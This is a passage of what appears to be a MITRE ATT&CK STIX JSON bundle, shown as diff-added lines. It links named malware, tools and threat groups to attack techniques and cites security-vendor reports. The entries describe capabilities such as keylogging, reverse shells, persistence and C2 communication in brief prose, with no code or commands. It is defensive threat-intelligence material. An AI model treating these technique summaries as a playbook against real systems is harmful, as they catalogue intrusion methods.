Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to search for a given process name in processes currently running in the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4d90fd9d-9f9b-45f8-986d-3db43b679905", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "source_name": "Zscaler Kasidet", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.025Z", + "id": "relationship--243bf0fe-68eb-4d82-bbbf-d551611a0cd8", + "source_ref": "course-of-action--308855d1-078b-47ad-8d2a-8f9b2713ffb5", + "modified": "2019-10-15T18:45:28.132Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can download files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0f7e7dc5-ea9c-4d9e-9acd-5fa0dd25910a", + "source_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.", + "source_name": "Symantec Wiarp May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) can download an executable to run on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3ded5760-4f2e-41f5-a2c5-f2b39eaf5733", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.369Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) contains keylogger functionality.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d8f5283b-fe44-4206-8a7d-393d216beb7e", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) malware has created Registry Run and RunOnce keys to establish persistence, and has also added items to the Startup folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--74859e2a-7a8f-4b87-b75c-7286b3de685c", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.530Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) ran a reverse shell with Meterpreter.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.075Z", + "id": "relationship--c5da001c-2c17-4e83-8e5c-21863ead4bd9", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:06.085Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[BUBBLEWRAP](https://attack.mitre.org/software/S0043) can communicate using HTTP or HTTPS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2b2cdb6b-c23c-4792-8cfb-8c4d9279a186", + "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "source_name": "FireEye admin@338", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "description": "[Flame](https://attack.mitre.org/software/S0143) contains modules to infect USB sticks and spread laterally to other Windows systems the stick is plugged into using Autorun functionality.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--00b0af92-df59-4d56-ac3e-18f6f1f72957", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "modified": "2019-06-06T14:35:54.017Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Flame", + "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", + "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "The OsInfo function in [Komplex](https://attack.mitre.org/software/S0162) collects the current running username.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--707d131d-39ff-4ea0-a8ef-63dd7ca2a854", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "source_name": "Sofacy Komplex Trojan", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-WmiCommand CodeExecution module uses WMI to execute and retrieve the output from a [PowerShell](https://attack.mitre.org/techniques/T1086) payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2d2ebfcb-0b2c-4c69-877e-2ca633c95a17", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.265Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) achieves persistence by creating a shortcut in the current user's Startup folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--689c51b8-7e41-474e-abf6-ffdde0acc40b", + "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) collects keystrokes from the victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3dde25bf-03e8-4842-94cd-d596688c44d9", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[SynAck](https://attack.mitre.org/software/S0242) parses the export tables of system DLLs to locate and call various Windows API functions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--699e964d-b8c8-46fd-bd2d-9787433ab077", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "modified": "2019-07-26T23:00:57.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Kaspersky Lab SynAck May 2018", + "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", + "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) has used macros in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193)s as well as executed VBScripts on victim machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f623affb-f6e8-4c32-a44f-8835fff92c59", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.802Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[4H RAT](https://attack.mitre.org/software/S0065) has the capability to obtain file and directory listings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--26968975-5f01-4b4b-9cdc-ef3b76710304", + "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", + "description": "Some [FinFisher](https://attack.mitre.org/software/S0182) variants incorporate an MBR rootkit.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--753093c1-6586-4a17-9068-25648111ef33", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.512Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) checks to see if the system is configured with \"Daylight\" time and checks for a specific region to be set for the timezone.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--db4fbefd-e9ed-495a-89af-67c4b6780508", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.559Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Socksbot](https://attack.mitre.org/software/S0273) can write and execute PowerShell scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--749b0a26-fbf8-4858-a545-5faca77adead", + "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) checks for the existence of a Registry key and if it contains certain values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.411Z", + "id": "relationship--d18d7fab-1f10-4b83-83e1-a288ec4db2bd", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.240Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module for enumerating TCP and UDP network connections and associated processes using the netstat command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:17:59.264Z", + "id": "relationship--8b020cdd-4731-4dd5-8407-7f3076ab1d2d", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:16.054Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can access the victim\u2019s webcam and record video.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:05.140Z", + "id": "relationship--49efe6c7-aec6-4e54-bc7d-212816e23347", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.436Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "source_name": "DigiTrust Agent Tesla Jan 2017", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + }, + { + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "source_name": "Talos Agent Tesla Oct 2018", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) can upload and download files to the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:09:26.747Z", + "id": "relationship--ebf44df8-d7c7-4c95-87f0-e31f88b83c72", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "modified": "2019-04-19T15:10:04.423Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "[Carbon](https://attack.mitre.org/software/S0335) uses HTTP to send data to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:36:02.755Z", + "id": "relationship--8f104e2e-4816-4551-b4a6-9f0ed1e01218", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "modified": "2019-04-12T14:43:22.720Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses the nbtstat -n and nbtstat -s commands on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:48.186Z", + "id": "relationship--ce560fcf-cd2d-45c6-9331-f5f0594e5bf5", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:43.197Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) delivered malicious documents with the XLSX extension, typically used by OpenXML documents, but the file itself was actually an OLE (XLS) document.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:17:49.304Z", + "id": "relationship--56a866fd-1a37-4750-89e6-2e26ed69cb27", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.309Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) can download and execute or update malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:33:34.617Z", + "id": "relationship--91eab726-0a0c-4898-8376-66987fd1037c", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "modified": "2019-04-23T21:17:49.968Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "source_name": "Unit 42 BadPatch Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) creates a command-line shell using cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:47:53.669Z", + "id": "relationship--4261a057-4985-4180-8871-59c5b76e8a20", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "modified": "2019-04-17T22:05:05.949Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "source_name": "Radware Micropsia July 2018", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Octopus](https://attack.mitre.org/software/S0340) collects the username from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:24:09.083Z", + "id": "relationship--348f9f2e-c959-4485-9a0b-e95f6d4ceb72", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "modified": "2019-01-30T13:24:09.083Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "source_name": "Securelist Octopus Oct 2018", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) encrypts its configuration files with AES-256 and also encrypts its strings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:53:14.923Z", + "id": "relationship--fba908dc-4478-4626-ab73-72c43eca5279", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "modified": "2019-04-17T22:22:22.064Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": 